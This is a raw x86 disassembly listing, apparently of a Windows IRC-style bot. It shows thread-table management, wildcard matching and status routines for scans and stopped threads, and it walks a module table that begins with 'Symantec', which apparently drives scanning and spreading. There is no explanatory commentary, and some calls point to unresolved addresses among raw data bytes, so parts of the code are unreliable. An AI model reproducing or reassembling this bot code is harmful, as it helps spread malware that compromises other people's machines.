dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 90006A14h, 2E560BE8h, 555E5F02h, 0EC81EC8Bh
dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h
dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp
; sub_40B583+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B57D
cmp esi, 400h
jge short loc_40B57D
imul esi, 234h
push edi
push ebx
push dword_43E924[esi]
lea edi, dword_43E924[esi]
nop
call near ptr 26A0846h
cmp [edi], ebx
jz short loc_40B52D
push 1
pop ebp
loc_40B52D: ; CODE XREF: sub_40B4F5+33j
mov [edi], ebx
lea edi, dword_43E918[esi]
mov dword_43E910[esi], ebx
mov dword_43E914[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B54E
push eax
call sub_419F16
pop ecx
loc_40B54E: ; CODE XREF: sub_40B4F5+50j
mov [edi], ebx
lea edi, dword_43E91C[esi]
mov byte ptr dword_43E710[esi], bl
mov byte_43E928[esi], bl
push dword ptr [edi]
call dword_4CBA6C
lea esi, dword_43E920[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CBA6C
mov [esi], ebx
pop edi
loc_40B57D: ; CODE XREF: sub_40B4F5+Dj
; sub_40B4F5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B4F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B583 proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E710
loc_40B58F: ; CODE XREF: sub_40B583+2Aj
cmp byte ptr [esi], 0
jz short loc_40B5A0
push edi
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5A0
inc ebx
loc_40B5A0: ; CODE XREF: sub_40B583+Fj
; sub_40B583+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B58F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p
; sub_401ACD+4302p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E914
loc_40B5C9: ; CODE XREF: sub_40B5B5+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B5EB
test edi, edi
jle short loc_40B5DD
cmp [esi], edi
jz short loc_40B5DD
cmp ebx, edi
jnz short loc_40B5EB
loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej
; sub_40B5B5+22j
push ebx
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5EB
inc [ebp+var_4]
loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj
; sub_40B5B5+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB914
jl short loc_40B5C9
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B5B5 endp
; =============== S U B R O U T I N E =======================================
sub_40B602 proc near ; CODE XREF: ___:00401630p
; sub_401ACD+95Ep ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E910
loc_40B609: ; CODE XREF: sub_40B602+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B612
inc eax
loc_40B612: ; CODE XREF: sub_40B602+Dj
add ecx, 234h
cmp ecx, offset dword_4CB910
jl short loc_40B609
retn
sub_40B602 endp
; =============== S U B R O U T I N E =======================================
sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E910
loc_40B62B: ; CODE XREF: sub_40B621+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B644
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB910
jl short loc_40B62B
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B644: ; CODE XREF: sub_40B621+10j
mov eax, edx
pop esi
retn
sub_40B621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp
; sub_401ACD+125Bp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B661
push [ebp+arg_1C]
call sub_41C159
pop ecx
loc_40B661: ; CODE XREF: sub_40B648+Ej
push eax
push [ebp+arg_18]
call sub_40B5B5
pop ecx
test eax, eax
pop ecx
jle short loc_40B68D
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41C266
add esp, 14h
jmp short loc_40B6A7
; ---------------------------------------------------------------------------
loc_40B68D: ; CODE XREF: sub_40B648+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41C266
add esp, 10h
loc_40B6A7: ; CODE XREF: sub_40B648+43j
cmp [ebp+arg_C], 0
jnz short loc_40B6C7
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40B6C7: ; CODE XREF: sub_40B648+63j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
leave
retn
sub_40B648 endp
; =============== S U B R O U T I N E =======================================
sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BD0Bp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E924[eax], ecx
mov dword_43E910[eax], ecx
mov dword_43E914[eax], ecx
mov dword_43E918[eax], ecx
mov dword_43E91C[eax], ecx
mov dword_43E920[eax], ecx
mov byte ptr dword_43E710[eax], cl
mov byte_43E928[eax], cl
retn
sub_40B6D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp
; sub_40B841+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B71D: ; CODE XREF: sub_40B713+68j
mov cl, [esi]
test cl, cl
jz short loc_40B77D
cmp eax, 1
jnz short loc_40B77D
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B77D
cmp cl, 2Ah
jz short loc_40B764
cmp cl, 3Fh
jz short loc_40B747
cmp cl, 5Bh
jz short loc_40B74C
xor eax, eax
cmp cl, dl
setz al
loc_40B747: ; CODE XREF: sub_40B713+26j
inc [ebp+arg_4]
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B74C: ; CODE XREF: sub_40B713+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B7A9
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B764: ; CODE XREF: sub_40B713+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B841
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B777: ; CODE XREF: sub_40B713+37j
; sub_40B713+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B71D
; ---------------------------------------------------------------------------
loc_40B77D: ; CODE XREF: sub_40B713+Ej
; sub_40B713+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B78D
cmp eax, 1
jnz short loc_40B7A4
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B77D
; ---------------------------------------------------------------------------
loc_40B78D: ; CODE XREF: sub_40B713+6Dj
cmp eax, 1
jnz short loc_40B7A4
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B7A4
cmp byte ptr [esi], 0
jnz short loc_40B7A4
push 1
pop eax
jmp short loc_40B7A6
; ---------------------------------------------------------------------------
loc_40B7A4: ; CODE XREF: sub_40B713+72j
; sub_40B713+7Dj ...
xor eax, eax
loc_40B7A6: ; CODE XREF: sub_40B713+8Fj
pop esi
pop ebp
retn
sub_40B713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B7CA
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B7CA: ; CODE XREF: sub_40B7A9+19j
push ebx
push esi
loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B7DA
cmp [ebp+var_4], eax
jnz short loc_40B826
loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj
test edi, edi
jnz short loc_40B81B
cmp bl, 2Dh
jnz short loc_40B80F
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B80F
cmp al, 5Dh
jz short loc_40B80F
cmp [ebp+var_4], edi
jnz short loc_40B80F
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B81B
cmp bl, al
jg short loc_40B81B
push 1
mov [edx], esi
pop edi
jmp short loc_40B81B
; ---------------------------------------------------------------------------
loc_40B80F: ; CODE XREF: sub_40B7A9+38j
; sub_40B7A9+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B81B
push 1
pop edi
loc_40B81B: ; CODE XREF: sub_40B7A9+33j
; sub_40B7A9+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B7CC
; ---------------------------------------------------------------------------
loc_40B826: ; CODE XREF: sub_40B7A9+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B833
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B833: ; CODE XREF: sub_40B7A9+82j
cmp edi, eax
jnz short loc_40B83C
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B7A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B841 proc near ; CODE XREF: sub_40B713+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B85D: ; CODE XREF: sub_40B841+3Aj
cmp [eax], bl
jz short loc_40B87D
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B872
cmp cl, 2Ah
jnz short loc_40B87D
cmp cl, 3Fh
jnz short loc_40B875
loc_40B872: ; CODE XREF: sub_40B841+25j
inc eax
mov [edi], eax
loc_40B875: ; CODE XREF: sub_40B841+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B85D
; ---------------------------------------------------------------------------
loc_40B87D: ; CODE XREF: sub_40B841+1Ej
; sub_40B841+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B888
inc dword ptr [esi]
jmp short loc_40B87D
; ---------------------------------------------------------------------------
loc_40B888: ; CODE XREF: sub_40B841+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B8A9
mov edx, [esi]
cmp [edx], bl
jz short loc_40B89A
xor eax, eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B89A: ; CODE XREF: sub_40B841+53j
cmp cl, bl
jnz short loc_40B8A9
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B8A9
push 1
pop eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B8A9: ; CODE XREF: sub_40B841+4Dj
; sub_40B841+5Bj ...
push eax
push dword ptr [esi]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8F3
loc_40B8B7: ; CODE XREF: sub_40B841+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B8BB: ; CODE XREF: sub_40B841+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B8D3
cmp cl, 5Bh
jz short loc_40B8D3
cmp dl, bl
jz short loc_40B8D3
inc eax
mov [edi], eax
jmp short loc_40B8BB
; ---------------------------------------------------------------------------
loc_40B8D3: ; CODE XREF: sub_40B841+82j
; sub_40B841+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B8EA
push eax
push dword ptr [esi]
call sub_40B713
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B8EF
; ---------------------------------------------------------------------------
loc_40B8EA: ; CODE XREF: sub_40B841+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B8EF: ; CODE XREF: sub_40B841+A7j
cmp eax, ebx
jnz short loc_40B8B7
loc_40B8F3: ; CODE XREF: sub_40B841+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B906
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B906
mov [ebp+var_4], 1
loc_40B906: ; CODE XREF: sub_40B841+B6j
; sub_40B841+BCj
mov eax, [ebp+var_4]
loc_40B909: ; CODE XREF: sub_40B841+57j
; sub_40B841+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431B94
push eax
xor ebx, ebx
call sub_41C266
cmp dword_4317F8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B980
push esi
mov esi, offset dword_431800
loc_40B941: ; CODE XREF: sub_40B90E+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B976
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431B88
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
add esp, 1Ch
loc_40B976: ; CODE XREF: sub_40B90E+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B941
pop esi
loc_40B980: ; CODE XREF: sub_40B90E+2Bj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B90E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE4E0
mov ecx, dword_4CE4DC
push esi
push dword_4CB714
lea esi, [ecx+eax]
call sub_41ADD8
pop ecx
push eax
push esi
push dword_4CE4E0
lea eax, [ebp+var_200]
push dword_4CE4DC
push offset unk_431BB4
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 30h
pop esi
leave
retn
sub_40B9DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE718
push offset unk_431BFC
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 28h
leave
retn
sub_40BA49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push edi
lea eax, [ebp+var_800]
push offset dword_431C48
push eax
call sub_41C266
cmp dword_4317F8, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BB0A
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BAD3: ; CODE XREF: sub_40BA9E+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431C38
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BAD3
pop esi
loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_800]
push eax
call sub_415D38
add esp, 30h
pop edi
leave
retn
sub_40BA9E endp
; ---------------------------------------------------------------------------
byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call dword_4CBA14
xor edi, edi
mov [ebp-8], eax
cmp dword_4317F8, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_40BCC7
mov ebx, offset dword_4317F8
mov eax, ebx
loc_40BBB6: ; CODE XREF: ___:0040BCC1j
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C34B
add esp, 0Ch
cmp eax, 1
jnz loc_40BCB7
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_431C98
push eax
call sub_41C266
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409869
lea eax, [ebp-3F0h]
push eax
call sub_415D38
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41C266
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41C266
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40BC52
lea eax, [ebp-124h]
loc_40BC52: ; CODE XREF: ___:0040BC4Aj
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41C266
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40BCB7: ; CODE XREF: ___:0040BBC9j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BBB6
loc_40BCC7: ; CODE XREF: ___:0040BBA9j
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431C64
push eax
call sub_41C266
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409869
lea eax, [ebp-3F0h]
push eax
call sub_415D38
push dword ptr [ebp-18h]
call sub_40B6D6
add esp, 2Ch
push edi
nop
; ---------------------------------------------------------------------------
db 0E8h, 66h, 4Dh
db 2Eh, 2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B602
test eax, eax
pop ecx
jle short loc_40BD56
mov eax, [ebp+arg_C]
push dword_4CBB20[eax*8]
call dword_4CBA60
push eax
lea eax, [ebp+var_200]
push offset unk_431CE8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40BD69
; ---------------------------------------------------------------------------
loc_40BD56: ; CODE XREF: sub_40BD1A+13j
lea eax, [ebp+var_200]
push offset unk_431CC8
push eax
call sub_41C266
pop ecx
pop ecx
loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 18h
leave
retn
sub_40BD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C263
shl eax, 6
xor ebx, ebx
cmp dword_431804[eax], ebx
jz loc_40C263
push 5
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C018
mov eax, dword_429078
push edi
mov esi, offset dword_4CDBDC
push 104h
push esi
push ebx
mov dword_4CDDEC, eax
mov dword_4CDDE8, ebx
call near ptr 2680000h
nop
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CDCE0
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDBD8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDE70, eax
jnz short loc_40BE44
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, 1
jmp short loc_40BE5E
; ---------------------------------------------------------------------------
loc_40BE44: ; CODE XREF: sub_40BD91+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, ebx
loc_40BE5E: ; CODE XREF: sub_40BD91+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDDEC
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CDDE4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDBD8
push offset byte_412197
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, dword_4CDDE4
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BECC
loc_40BEBA: ; CODE XREF: sub_40BD91+139j
cmp dword_4CDE78, ebx
jnz short loc_40BEE7
push 32h
nop
call near ptr 2680EF8h
jmp short loc_40BEBA
; ---------------------------------------------------------------------------
loc_40BECC: ; CODE XREF: sub_40BD91+127j
call near ptr 269086Bh
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431E08
push eax
call sub_41C266
add esp, 0Ch
loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj
lea eax, [ebp+var_204]
push eax
call sub_415D38
mov eax, dword_4CB710
mov esi, offset dword_4CDE84
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CE094, eax
mov dword_4CE090, ebx
call near ptr 2680000h
nop
push 103h
push edi
push offset dword_4CDF88
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDE80, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CE118, eax
push 7Fh
jnz short loc_40BF68
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, 1
jmp short loc_40BF82
; ---------------------------------------------------------------------------
loc_40BF68: ; CODE XREF: sub_40BD91+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, ebx
loc_40BF82: ; CODE XREF: sub_40BD91+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CE094
push offset unk_431DD4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CE08C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDE80
push offset word_40F3AA
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, dword_4CE08C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BFF0
loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj
cmp dword_4CE120, ebx
jnz short loc_40C00B
push 32h
call near ptr 2680EF8h
nop
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj
call near ptr 269086Bh
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431DA0
push eax
call sub_41C266
add esp, 0Ch
loc_40C00B: ; CODE XREF: sub_40BD91+253j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C018: ; CODE XREF: sub_40BD91+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43180C[ecx], ebx
jz loc_40C141
push 7
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C13B
mov eax, dword_4CE710
cmp [ebp+arg_90], bl
mov dword_4CDB44, eax
mov eax, [ebp+arg_110]
mov dword_4CDB38, eax
mov eax, [ebp+arg_138]
mov dword_4CDB40, ebx
mov dword_4CDBC8, eax
push 7Fh
jnz short loc_40C08C
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, 1
jmp short loc_40C0A6
; ---------------------------------------------------------------------------
loc_40C08C: ; CODE XREF: sub_40BD91+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, ebx
loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j
push dword_4CDB44
lea eax, [ebp+var_204]
push offset unk_431D70
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B3BA
add esp, 18h
mov dword_4CDB3C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB38
push offset dword_40F108
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, dword_4CDB3C
imul ecx, 234h
